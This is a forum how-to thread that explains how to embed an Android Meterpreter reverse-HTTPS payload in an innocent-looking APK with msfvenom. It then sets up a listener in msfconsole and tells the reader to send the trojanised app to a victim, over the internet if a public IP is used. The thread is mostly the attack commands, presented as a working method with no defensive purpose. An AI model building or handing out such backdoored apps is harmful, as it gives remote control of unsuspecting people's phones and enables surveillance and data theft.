Forum Thread: Embedding Payload in an Innocent Looking .Apk File

Hello techies out there, Today We will be discussing about how we can embed our payload in any apk file.

I don't know if similar post is being published but till my knowledge its not!Actually there is a manual way published but it's too time consuming!

Now this question is asked by many users . So instead of commenting on every one of them I decided to write this How-to . Now since this is my first post , So, please be co-operative ;).

So , Let's Begin !

Step 1: Fire Up Your Kali

Now Obviously This Is The First Step So I Don't Need To Explain This Much!

Step 2: Creating and Embedding Payload

Write the following command in the terminal :

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

msfvenom -x "_path_to_your_apk_file_in_which_you_want_to_embed_payload " -p "android/meterpreter/reverse_https" LHOST=your_ip_address LPORT=your_port -o "your_output_apk__name"

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Although You can use payload of your own choice but i prefer "https" for android cause it provides stable meterpreter session !

_In Case , You Get The Following Error :
"Error: zipalign not found. If it's not in your PATH, please add it."
Simply , run this command in terminal:
apt-get install zipalign

Step 3: Creating Meterpreter Session

Start Console : msfconsole
_Start Handler : use exploit/multi/handler
Set Payload : set payload android/meterpreter/reverse_https
Set LHOST : set LHOST_your_ip_
Set LPORT: set LPORT _your_port_
Exploit : exploit

Now ,send the app to the victim's phone and let him install and wait for meterpreter session !
You Can also perform, this exploit over internet by assigning your public ip while creating payload !